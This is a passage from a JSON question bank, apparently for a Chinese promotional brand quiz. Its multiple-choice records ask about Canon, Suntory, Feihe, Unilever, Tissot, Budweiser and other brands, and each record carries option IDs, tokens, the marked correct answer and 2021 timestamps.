04:34:39","status":"1"},{"questionId":"9101427468","questionIndex":"3","questionStem":"领势是否有提供上门安装服务?","options":"[{\"optionId\":\"IsUSx0BRiDoEua20opcfqEp61DeeKGW5ENA\",\"optionDesc\":\"部分免费\"},{\"optionId\":\"IsUSx0BRiDoEua20opcfq9X-bhaRNTUHhR8\",\"optionDesc\":\"无\"},{\"optionId\":\"IsUSx0BRiDoEua20opcfqiDqY6sOQUQLIDE\",\"optionDesc\":\"付费上门\"}]","questionToken":"IsUSx0BRiDoEua3ksd8E_UJcgCObBL-2jQlf2APZVseV5VAFh3uoItsWxwDPHJLTGC2MqPHmldN_l_3E8k0Ho8sAJYojtQ","correct":"{\"optionId\":\"IsUSx0BRiDoEua20opcfqEp61DeeKGW5ENA\",\"optionDesc\":\"部分免费\"}","create_time":"27/1/2021 04:51:30","update_time":"27/1/2021 04:51:30","status":"1"},{"questionId":"9101427609","questionIndex":"3","questionStem":"佳能的LOGO是什么颜色?","options":"[{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmiQyx9ZizUkdEdaB3xg\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmigPXVJD_98idBUXTUA\",\"optionDesc\":\"红色\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmiO4rrHJZO7_XYNhK7g\",\"optionDesc\":\"黄色\"}]","questionToken":"IsUSx0BRiDi_ZLHcTKP938KiGImkVsFMV_595rs7M2DsJ_jFSGOA4ugY3nrQxPVi88ZknnzvYEGT_Em56cGvPboOh_Mtlw","correct":"{\"optionId\":\"IsUSx0BRiDi_ZLGMX-vmigPXVJD_98idBUXTUA\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"27/1/2021 04:53:34","update_time":"27/1/2021 04:53:34","status":"1"},{"questionId":"9101427627","questionIndex":"2","questionStem":"佳能相机适合什么年龄的人使用?","options":"[{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiiRE0qVSHAWgZA9b\",\"optionDesc\":\"任何年龄段都适用\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiMiBZuQZpRRFWQuh\",\"optionDesc\":\"50岁以上\"},{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiR0g3DTPvgbM1DTn\",\"optionDesc\":\"20岁以下\"}]","questionToken":"IsUSx0BRiDi9arHdTKP92KkzY3gJ6aODzN8VU86ADh7xYvdvByPy8JESu1-RHxwuZ4QQUuXZVRPlrBOmhCkogjw1FJ-u4A","correct":"{\"optionId\":\"IsUSx0BRiDi9arGMX-vmiiRE0qVSHAWgZA9b\",\"optionDesc\":\"任何年龄段都适用\\t\\t\"}","create_time":"27/1/2021 04:35:33","update_time":"27/1/2021 04:35:33","status":"1"},{"questionId":"9101427628","questionIndex":"5","questionStem":"佳能成立时间是哪年?","options":"[{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmivlZEYiNFWalVYxP\",\"optionDesc\":\"1937年\\t\"},{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmiF9-_-xvA_ljuEDi\",\"optionDesc\":\"1957年\"},{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmiZ5a2xVrWWphF4tj\",\"optionDesc\":\"2017年\\t\"}]","questionToken":"IsUSx0BRiDi9ZbHaTKP93xe5xnGz8NeLAn93EfDscuWGQu-nAtB7jaHw_aF9vwSeeFeYUSsLSFeC01NOI78H4u7dutOsNg","correct":"{\"optionId\":\"IsUSx0BRiDi9ZbGMX-vmivlZEYiNFWalVYxP\",\"optionDesc\":\"1937年\\t\"}","create_time":"27/1/2021 04:44:18","update_time":"27/1/2021 04:44:18","status":"1"},{"questionId":"9101427629","questionIndex":"4","questionStem":"佳能总部坐落于?","options":"[{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmiOVOvgTHss3-_AA\",\"optionDesc\":\"加拿大\"},{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmiXda18uUJAtKX_Q\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmis48LBvto1viu9Y\",\"optionDesc\":\"日本\\t\"}]","questionToken":"IsUSx0BRiDi9ZLHbTKP92P2_6R7B56gHQviZU7EsKBnx975jnpqdhs_Z7AtrQkBX9q8uqCkq-fWr-aWcSnEzzoMiYJddtQ","correct":"{\"optionId\":\"IsUSx0BRiDi9ZLGMX-vmis48LBvto1viu9Y\",\"optionDesc\":\"日本\\t\"}","create_time":"27/1/2021 04:39:20","update_time":"27/1/2021 04:39:20","status":"1"},{"questionId":"9101427630","questionIndex":"2","questionStem":"佳能的广告语是什么?","options":"[{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiMYWeYd6cguVH9Q\",\"optionDesc\":\"佳能,感动不止所见\"},{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiZG0-K8CGdO5V54\",\"optionDesc\":\"佳能,记录美一瞬间\\t\"},{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiqSb7n51FwfUoHQ\",\"optionDesc\":\"佳能,感动常在\"}]","questionToken":"IsUSx0BRiDi8bbHdTKP934Ji0sfehbsLQ1s3Mu-B2VkkIbPMVlUfe6q1_BgY9RuMBCH9VHyYg2EjLvVLT3KVmG8Y3JlVNQ","correct":"{\"optionId\":\"IsUSx0BRiDi8bbGMX-vmiqSb7n51FwfUoHQ\",\"optionDesc\":\"佳能,感动常在\"}","create_time":"27/1/2021 04:50:03","update_time":"27/1/2021 04:50:03","status":"1"},{"questionId":"9101427631","questionIndex":"4","questionStem":"伊利金领冠是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiqWpZKAsAntuAFoe2g\",\"optionDesc\":\"中国\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiLaZ9i48kQYk1OVyqQ\",\"optionDesc\":\"法国 \"},{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiVmJuTB_KFFYPeG8pg\",\"optionDesc\":\"新西兰\"}]","questionToken":"IsUSx0BRiDi8bLHbTKP93z_-VlCyMsePXmHAFfrOLB9foYpkLXQ-zrbJayLJ1D8LszhN9OeP4dDKux-yjONDXmGbxFZ-Fw","correct":"{\"optionId\":\"IsUSx0BRiDi8bLGMX-vmiqWpZKAsAntuAFoe2g\",\"optionDesc\":\"中国\\t\\t\"}","create_time":"27/1/2021 04:48:26","update_time":"27/1/2021 04:48:26","status":"1"},{"questionId":"9101427633","questionIndex":"4","questionStem":"伊利金领冠有几大中国发明专利?","options":"[{\"optionId\":\"IsUSx0BRiDi8brGMX-vmiQhw9gTH_9OhYW5pdg\",\"optionDesc\":\"1\"},{\"optionId\":\"IsUSx0BRiDi8brGMX-vmioMizmbt6FTYtxMjwA\",\"optionDesc\":\"5\"},{\"optionId\":\"IsUSx0BRiDi8brGMX-vmiDActoRHM18HAt8g4A\",\"optionDesc\":\"2\"}]","questionToken":"IsUSx0BRiDi8brHbTKP92AslsTF0u0ky3QP3MBcGXg68dHk2txrVs9Mog-PFSRIUAaJZ1lrgte5Lp_sptYqYMUvfqMZKIg","correct":"{\"optionId\":\"IsUSx0BRiDi8brGMX-vmioMizmbt6FTYtxMjwA\",\"optionDesc\":\"5\"}","create_time":"27/1/2021 04:03:34","update_time":"27/1/2021 04:03:34","status":"1"},{"questionId":"9101427634","questionIndex":"4","questionStem":"“六维易吸收”指的是金领冠旗下哪款产品?","options":"[{\"optionId\":\"IsUSx0BRiDi8abGMX-vmitT2lQetwQy2JG_s\",\"optionDesc\":\"珍护\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8abGMX-vmiTRSfJSfgbtqlHOP\",\"optionDesc\":\"睿护\"},{\"optionId\":\"IsUSx0BRiDi8abGMX-vmiO_arvCTpYJdrvQT\",\"optionDesc\":\"菁护\"}]","questionToken":"IsUSx0BRiDi8abHbTKP93__gADyXyRQnYCgyR0AEoVB1iw3-1dMJaSj4MgwCkPcQ2i569yVadwkrzgSm46esoRk9PMy4EQ","correct":"{\"optionId\":\"IsUSx0BRiDi8abGMX-vmitT2lQetwQy2JG_s\",\"optionDesc\":\"珍护\\t\\t\"}","create_time":"27/1/2021 04:43:52","update_time":"27/1/2021 04:43:52","status":"1"},{"questionId":"9101427635","questionIndex":"5","questionStem":"金领冠拥有中欧双重有机认证的奶粉是?","options":"[{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmikmvUibN2YHGpjbe\",\"optionDesc\":\"塞纳牧\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmiNfMAdXVBfOYVyWH\",\"optionDesc\":\"睿护\"},{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmifsyBicFPYBaqMhX\",\"optionDesc\":\"珍护\"}]","questionToken":"IsUSx0BRiDi8aLHaTKP939WnXDptYYgBbsGuzwOCwSmZ2nIs0E-iFrMZ5EvRLK0UCFN89dUBPScoE8iOdYnDeYU3_YnENA","correct":"{\"optionId\":\"IsUSx0BRiDi8aLGMX-vmikmvUibN2YHGpjbe\",\"optionDesc\":\"塞纳牧\\t\\t\"}","create_time":"27/1/2021 04:40:18","update_time":"27/1/2021 04:40:18","status":"1"},{"questionId":"9101427636","questionIndex":"3","questionStem":"以下哪个不属于金领冠的业务范围? ","options":"[{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiszP0vtDjZJkksA\",\"optionDesc\":\"牛奶 \\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiWi8XQmjWWvDWyM\",\"optionDesc\":\"草饲奶粉\"},{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiJt5pHdNE3kh2S8\",\"optionDesc\":\"羊奶粉\"}]","questionToken":"IsUSx0BRiDi8a7HcTKP935Qt2ROmKwtQBiYoOPrOahmfOy66rcyOYMaMzxQEPUtDfl6YaLs8qeYiE5XIYGbg1_y14QMJIw","correct":"{\"optionId\":\"IsUSx0BRiDi8a7GMX-vmiszP0vtDjZJkksA\",\"optionDesc\":\"牛奶 \\t\\t\"}","create_time":"27/1/2021 04:38:20","update_time":"27/1/2021 04:38:20","status":"1"},{"questionId":"9101427637","questionIndex":"5","questionStem":"三得利是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDi8arGMX-vmiDLOLbv36_wumlYAyw\",\"optionDesc\":\"韩国\"},{\"optionId\":\"IsUSx0BRiDi8arGMX-vmiiI_P5DzSyz5pjzR8g\",\"optionDesc\":\"日本\\t\\t\"},{\"optionId\":\"IsUSx0BRiDi8arGMX-vmidNOgYJQts2ILNxmLw\",\"optionDesc\":\"中国\"}]","questionToken":"IsUSx0BRiDi8arHaTKP92GgBGwkGbWiZwz8ujWwYMoagoS0wbVP8dkiBTwt_Z2HnaVSxN-KkXod2v3mq_dqxMxYUx4i0pw","correct":"{\"optionId\":\"IsUSx0BRiDi8arGMX-vmiiI_P5DzSyz5pjzR8g\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"27/1/2021 04:03:35","update_time":"27/1/2021 04:03:35","status":"1"},{"questionId":"9101427638","questionIndex":"2","questionStem":"三得利饮料最畅销的是哪个系列?","options":"[{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmiYtCIyOVd1ICMjYJpw\",\"optionDesc\":\"沁系列\"},{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmiLxPoEXaONbK-9eDIg\",\"optionDesc\":\"利趣咖啡系列\"},{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmitWNtmI-FWyTQ5rWRw\",\"optionDesc\":\"茶系列\\t\\t\"}]","questionToken":"IsUSx0BRiDi8ZbHdTKP93ylMh-trr7eN-QkRxADtvGKoipnxOxQ1O4l34CWYhDNYwn2MDE4hGYQlp80349ffI-h1aO9B_Q","correct":"{\"optionId\":\"IsUSx0BRiDi8ZbGMX-vmitWNtmI-FWyTQ5rWRw\",\"optionDesc\":\"茶系列\\t\\t\"}","create_time":"27/1/2021 04:44:46","update_time":"27/1/2021 04:44:46","status":"1"},{"questionId":"9101427661","questionIndex":"2","questionStem":"三得利标志的颜色是哪个?","options":"[{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmiPuqITlO9NfY3LpI\",\"optionDesc\":\"黑色\"},{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmirxWp0poC7S2BdnX\",\"optionDesc\":\"蓝色\\t\"},{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmiVHnez536dsPI23F\",\"optionDesc\":\"白色\"}]","questionToken":"IsUSx0BRiDi5bLHdTKP937-iFvqTHVUHu949v9BiyEqHtZLrPBlYSVGK2rCG327eBTXHoNlmQ6NsNwqXMw92uiDZWebczQ","correct":"{\"optionId\":\"IsUSx0BRiDi5bLGMX-vmirxWp0poC7S2BdnX\",\"optionDesc\":\"蓝色\\t\"}","create_time":"27/1/2021 04:41:48","update_time":"27/1/2021 04:41:48","status":"1"},{"questionId":"9101427664","questionIndex":"1","questionStem":"三得利哪一年进入中国?","options":"[{\"optionId\":\"IsUSx0BRiDi5abGMX-vmiTUYm8COUskFaKA\",\"optionDesc\":\"1999年\"},{\"optionId\":\"IsUSx0BRiDi5abGMX-vmiJxXG-mvDkREKok\",\"optionDesc\":\"1899年\"},{\"optionId\":\"IsUSx0BRiDi5abGMX-vmioXgYDKFuVWv4wI\",\"optionDesc\":\"1984年\\t\\t\"}]","questionToken":"IsUSx0BRiDi5abHeTKP92GokWIbwaZtCeYvjMxQwWyrJpQi_sOQW9QAwagr0Ywcd8fWgkVcWEU3QbeQstN8ryqQIvpLiTg","correct":"{\"optionId\":\"IsUSx0BRiDi5abGMX-vmioXgYDKFuVWv4wI\",\"optionDesc\":\"1984年\\t\\t\"}","create_time":"27/1/2021 04:40:33","update_time":"27/1/2021 04:40:33","status":"1"},{"questionId":"9101427665","questionIndex":"1","questionStem":"三得利新乌龙茶在哪方面进行了重点升级?","options":"[{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiNucgJ9HCwwpd2-KwQ\",\"optionDesc\":\"瓶型\"},{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiux91RYtKqBJ1aunTQ\",\"optionDesc\":\"特级茶叶\\t\"},{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiYVOgBapHJZ4ynTZeA\",\"optionDesc\":\"包装\\t\"}]","questionToken":"IsUSx0BRiDi5aLHeTKP932D1g08GBpfDVHTaW_4Pc4XBS9J-Bkiv9qmH8LkwfYWd7m12bwfF99ydtEq32rruw7Agd_gi-g","correct":"{\"optionId\":\"IsUSx0BRiDi5aLGMX-vmiux91RYtKqBJ1aunTQ\",\"optionDesc\":\"特级茶叶\\t\"}","create_time":"27/1/2021 04:50:28","update_time":"27/1/2021 04:50:28","status":"1"},{"questionId":"9101427878","questionIndex":"5","questionStem":"飞鹤系列中富含乳铁蛋白的产品是?","options":"[{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxKxEqUldYRPKp-2S\",\"optionDesc\":\"飞帆\"},{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxUV-fNIHsvkSerAX\",\"optionDesc\":\"星飞帆\"},{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxtJb_MpKgbiQh2pt\",\"optionDesc\":\"超级飞帆\\t\\t\"}]","questionToken":"IsUSx0BRiDbzdzGz8iSUk8EwyUwMdUwojiXOQiTFk3IKmCsRHp7lcXZ91fr4PzTM4aJHRWFgggA2wZe2jTOzQN_iQ5RLVg","correct":"{\"optionId\":\"IsUSx0BRiDbzdzHl4WyPxtJb_MpKgbiQh2pt\",\"optionDesc\":\"超级飞帆\\t\\t\"}","create_time":"27/1/2021 04:37:26","update_time":"27/1/2021 04:37:26","status":"1"},{"questionId":"9101427952","questionIndex":"3","questionStem":"飞鹤的“黄金”奶源带位于?","options":"[{\"optionId\":\"IsUSx0BRiDdxseGGGvvDyFpnX82hZRhW8C2y\",\"optionDesc\":\"北纬47°\\t\\t\"},{\"optionId\":\"IsUSx0BRiDdxseGGGvvDy2DfdyQ4UZSUZnT2\",\"optionDesc\":\"南纬47°\"},{\"optionId\":\"IsUSx0BRiDdxseGGGvvDys64isuHF-VLPbBz\",\"optionDesc\":\"北纬37°\"}]","questionToken":"IsUSx0BRiDdxseHWCbPYnZO7CFMD_-M6TOYYvSyEzt197A7zCDwTOoXQPE8hnG3KviTOmT3E-wWDu1og_ZG7JOtzgwA8iw","correct":"{\"optionId\":\"IsUSx0BRiDdxseGGGvvDyFpnX82hZRhW8C2y\",\"optionDesc\":\"北纬47°\\t\\t\"}","create_time":"27/1/2021 04:35:40","update_time":"27/1/2021 04:35:40","status":"1"},{"questionId":"9101427953","questionIndex":"1","questionStem":"以下哪一位是飞鹤代言人?","options":"[{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDy8tI743_wznNT4aM\",\"optionDesc\":\"赵薇\"},{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDyhkpXWucHKAQBa9T\",\"optionDesc\":\"周迅\"},{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDyGA506HPW8hhpV5_\",\"optionDesc\":\"章子怡\\t\"}]","questionToken":"IsUSx0BRiDdxsOHUCbPYnbbdzUYxa5D__08msV66a2NWwwhek2H2cNxkGFXwHNMrVac8gIFnHoKQ0Vdhk8oXel7JVvMJjA","correct":"{\"optionId\":\"IsUSx0BRiDdxsOGGGvvDyGA506HPW8hhpV5_\",\"optionDesc\":\"章子怡\\t\"}","create_time":"27/1/2021 04:47:25","update_time":"27/1/2021 04:47:25","status":"1"},{"questionId":"9101427955","questionIndex":"2","questionStem":"飞鹤奶粉配料表第一位是什么?","options":"[{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDy4pBz-9Ua1nW338\",\"optionDesc\":\"脱盐乳清液\"},{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDylaP7u9W_s0JbwY\",\"optionDesc\":\"脱脂乳粉\"},{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDyK5Rver2i6oqulw\",\"optionDesc\":\"生牛乳\"}]","questionToken":"IsUSx0BRiDdxtuHXCbPYnZt0c5aizz2vgJUEeZLnP8uRDjQ1KARRNtMymYzqZFdfYJw-cxKZIZmp_z27C1VPs8HohG-lOg","correct":"{\"optionId\":\"IsUSx0BRiDdxtuGGGvvDyK5Rver2i6oqulw\",\"optionDesc\":\"生牛乳\"}","create_time":"27/1/2021 04:47:23","update_time":"27/1/2021 04:47:23","status":"1"},{"questionId":"9101427957","questionIndex":"3","questionStem":"哪一个不是联合利华工厂所在地?","options":"[{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDyHko-G2da0G_92c\",\"optionDesc\":\"沈阳\\t\\t\"},{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDylJFABHRpvbiZQ8\",\"optionDesc\":\"金山\"},{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDy4XAYwPBPviulc4\",\"optionDesc\":\"潍坊\"}]","questionToken":"IsUSx0BRiDdxtOHWCbPYmjaOX5KNT3nODMREUoSuI9ibP6F4Zo2HlRlGL7RLGZ7IsHqtObY9P4tJFS2c3XR8FhUdrecgLg","correct":"{\"optionId\":\"IsUSx0BRiDdxtOGGGvvDyHko-G2da0G_92c\",\"optionDesc\":\"沈阳\\t\\t\"}","create_time":"27/1/2021 04:38:35","update_time":"27/1/2021 04:38:35","status":"1"},{"questionId":"9101427958","questionIndex":"3","questionStem":"哪一位是联合利华清扬品牌代言人?","options":"[{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDy84ySlrF4chdS04VCA\",\"optionDesc\":\"大S\\t\"},{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDyMsgn6n4nw0h1__hwA\",\"optionDesc\":\"c罗\\t\"},{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDyvA1hLvc7WiUQz8QWQ\",\"optionDesc\":\"周华健\"}]","questionToken":"IsUSx0BRiDdxu-HWCbPYmiJweEksWYs5aIzvwl3fE4zUmp6w5nUwhZ9ggO1xXTq6CGYzVzqugSaSqXjK1bQ42BHRSEN8Pg","correct":"{\"optionId\":\"IsUSx0BRiDdxu-GGGvvDyMsgn6n4nw0h1__hwA\",\"optionDesc\":\"c罗\\t\"}","create_time":"27/1/2021 04:33:18","update_time":"27/1/2021 04:33:18","status":"1"},{"questionId":"9101427959","questionIndex":"5","questionStem":"联合利华集团成立于哪年?","options":"[{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDy7KG9waoDtY68FBWuw\",\"optionDesc\":\"1925年\"},{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDyrIf5LVeTOIeeKGbwA\",\"optionDesc\":\"1930年\"},{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDyCB1YgSF1Wm-0RB2nA\",\"optionDesc\":\"1929年\\t\"}]","questionToken":"IsUSx0BRiDdxuuHQCbPYnT9bT9kUagZj8yPQohusB-9YW2umP-fgAusPMWJhtSBjaUZcIdAY_Ce52slxMI9jIRBxVffWqg","correct":"{\"optionId\":\"IsUSx0BRiDdxuuGGGvvDyCB1YgSF1Wm-0RB2nA\",\"optionDesc\":\"1929年\\t\"}","create_time":"27/1/2021 04:44:40","update_time":"27/1/2021 04:44:40","status":"1"},{"questionId":"9101427960","questionIndex":"2","questionStem":"以下哪个品牌不属于联合利华?","options":"[{\"optionId\":\"IsUSx0BRiDdys-GGGvvDyzV_SQ0JIAdyPM_-Uw\",\"optionDesc\":\"奥妙\"},{\"optionId\":\"IsUSx0BRiDdys-GGGvvDykTAot1yzbKYoyeP0g\",\"optionDesc\":\"植澈\"},{\"optionId\":\"IsUSx0BRiDdys-GGGvvDyMIVAWkGjRSFmHVNPw\",\"optionDesc\":\"碧浪\\t\\t\"}]","questionToken":"IsUSx0BRiDdys-HXCbPYmic5Tm4M6w4W5y0M9snb8qYuDoaRffXJeLJG0qCyCAvd3FOnFqXAHg6E5WbhxgTMHDqJsKguMQ","correct":"{\"optionId\":\"IsUSx0BRiDdys-GGGvvDyMIVAWkGjRSFmHVNPw\",\"optionDesc\":\"碧浪\\t\\t\"}","create_time":"27/1/2021 04:43:33","update_time":"27/1/2021 04:43:33","status":"1"},{"questionId":"9101427963","questionIndex":"3","questionStem":"天梭品牌成立于哪一年?","options":"[{\"optionId\":\"IsUSx0BRiDdysOGGGvvDyDeOPmf-5AZ229g\",\"optionDesc\":\"1853年\\t\\t\"},{\"optionId\":\"IsUSx0BRiDdysOGGGvvDy5SpWQ4goRm9gK0\",\"optionDesc\":\"1894年\"},{\"optionId\":\"IsUSx0BRiDdysOGGGvvDyqQkwbFTsicFEsQ\",\"optionDesc\":\"1874年\"}]","questionToken":"IsUSx0BRiDdysOHWCbPYna6QfG1bsBeDiwEhYDBP5xQV7blpwh_i3T4HAYp16_JpsBYDa1uE-G1wQWd5GaT-5Vv6m7KjEQ","correct":"{\"optionId\":\"IsUSx0BRiDdysOGGGvvDyDeOPmf-5AZ229g\",\"optionDesc\":\"1853年\\t\\t\"}","create_time":"27/1/2021 04:39:14","update_time":"27/1/2021 04:39:14","status":"1"},{"questionId":"9101428030","questionIndex":"1","questionStem":"天梭唯一以诞生地命名的系列是?","options":"[{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzvdAN-nL0hN43EzEj\",\"optionDesc\":\"弗拉明戈系列\"},{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzv6gFD9CODBd34A9u\",\"optionDesc\":\"力洛克系列\\t\\t\"},{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzvO2yhoRpTR8Oi_py\",\"optionDesc\":\"杜鲁尔系列\"}]","questionToken":"IsUSx0BRhz7DU8nhIXqo7bmcsbXNXrAdM4lcLZkXhH3RUQYOnU7EI8IH2oNC5urXKTgEivPy8hl-_JN_myLvslVJ27e-Xg","correct":"{\"optionId\":\"IsUSx0BRhz7DU8mzMjKzv6gFD9CODBd34A9u\",\"optionDesc\":\"力洛克系列\\t\\t\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"9101428031","questionIndex":"2","questionStem":"以下哪位是天梭代言人?","options":"[{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvXp9ttEuXD1K8A\",\"optionDesc\":\"郑凯\"},{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvCv6sQbxgHpMyQ\",\"optionDesc\":\"李荣浩\"},{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvyDYZT7PvHD_5A\",\"optionDesc\":\"黄晓明\\t\\t\"}]","questionToken":"IsUSx0BRhz7DUsniIXqo7YN-fWEyYyea-6fQ15NOgDotN-SWbqum2YloF24LKuqRdAio5zDee9LpGXJmN4eeTPiZl8m8KA","correct":"{\"optionId\":\"IsUSx0BRhz7DUsmzMjKzvyDYZT7PvHD_5A\",\"optionDesc\":\"黄晓明\\t\\t\"}","create_time":"27/1/2021 04:49:28","update_time":"27/1/2021 04:49:28","status":"1"},{"questionId":"9101428032","questionIndex":"3","questionStem":"天梭属于哪类手表?","options":"[{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvDwvBNim9jbg5z4N\",\"optionDesc\":\"日本手表\"},{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvVAzJb4WJ0w2upA-\",\"optionDesc\":\"欧美手表\"},{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvxfAhrj24koONfbf\",\"optionDesc\":\"瑞士手表\\t\\t\"}]","questionToken":"IsUSx0BRhz7DUcnjIXqo6iKFzjWj7T2YSCRUFXaMV8XAO3FRl0NDh3hN1LKM3UKydj79FiPHixjizk3603KO7dJhBIy54Q","correct":"{\"optionId\":\"IsUSx0BRhz7DUcmzMjKzvxfAhrj24koONfbf\",\"optionDesc\":\"瑞士手表\\t\\t\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"9101428033","questionIndex":"4","questionStem":"天梭腕表的质保期?","options":"[{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzv9xpX8O3K1IFj32g\",\"optionDesc\":\"两年全球联保\\t\"},{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzvaLLTguzTd7DGjCN\",\"optionDesc\":\"18个月保修\"},{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzvAJDFuhPb2l1Jhz7\",\"optionDesc\":\"一年保修\\t\"}]","questionToken":"IsUSx0BRhz7DUMnkIXqo7XGqtEz_yNjDIgcivQ6wiwpyxw2l74zHThw5Sbj4fiwrMwz9dVJV_JhWcrJ8xV8FzLszzMYz6w","correct":"{\"optionId\":\"IsUSx0BRhz7DUMmzMjKzv9xpX8O3K1IFj32g\",\"optionDesc\":\"两年全球联保\\t\"}","create_time":"27/1/2021 04:49:46","update_time":"27/1/2021 04:49:46","status":"1"},{"questionId":"9101428035","questionIndex":"2","questionStem":"百威啤酒诞生于哪个国家?","options":"[{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzvYTi5zE-9bp6gSkItg\",\"optionDesc\":\"比利时\"},{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzvNmpmhF4i_m5o2AEcQ\",\"optionDesc\":\"英国\"},{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzv9sLeazM_8n8-gqW_g\",\"optionDesc\":\"美国\\t\\t\"}]","questionToken":"IsUSx0BRhz7DVsniIXqo6t5O9jaiCK1anJMqVw4oOGu3xKYuiCuJAWjF2Tcabry5RubZD9cTXztniuYTmDooTOLqZLj1WQ","correct":"{\"optionId\":\"IsUSx0BRhz7DVsmzMjKzv9sLeazM_8n8-gqW_g\",\"optionDesc\":\"美国\\t\\t\"}","create_time":"27/1/2021 04:37:46","update_time":"27/1/2021 04:37:46","status":"1"},{"questionId":"9101428096","questionIndex":"1","questionStem":"以下哪位是百威啤酒代言人?","options":"[{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvJ_6j3TxwHu08eNA\",\"optionDesc\":\"陈冠希\"},{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvTzSrepyn3n9z_8m\",\"optionDesc\":\"张震岳\"},{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvw4AHc4iawp-kDVA\",\"optionDesc\":\"陈奕迅\\t\\t\"}]","questionToken":"IsUSx0BRhz7JVcnhIXqo7WeBlMdohllelqRtUQoOw7k_8fS3FUDUpJ39jDvLZzghsIPu4ZIU2epYL7aY7SKzg7E4VhRkEw","correct":"{\"optionId\":\"IsUSx0BRhz7JVcmzMjKzvw4AHc4iawp-kDVA\",\"optionDesc\":\"陈奕迅\\t\\t\"}","create_time":"27/1/2021 04:49:16","update_time":"27/1/2021 04:49:16","status":"1"},{"questionId":"9101428097","questionIndex":"3","questionStem":"以下哪个属于百威啤酒系列?","options":"[{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzvSoHcCh-zqzEG_Kx\",\"optionDesc\":\"百威酷爽\"},{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzvG9o1QcRIkKFYjo9\",\"optionDesc\":\"百威醇爽\"},{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzv-uraSfId6q6WTtY\",\"optionDesc\":\"百威纯生\\t\\t\"}]","questionToken":"IsUSx0BRhz7JVMnjIXqo7d5RcE0ARccxCRkBFKdo8gGa1CPNGFQo661nQcuoMQoy20SAaOIVYLAON_PNfMtegWY1Ix7mKQ","correct":"{\"optionId\":\"IsUSx0BRhz7JVMmzMjKzv-uraSfId6q6WTtY\",\"optionDesc\":\"百威纯生\\t\\t\"}","create_time":"27/1/2021 04:51:05","update_time":"27/1/2021 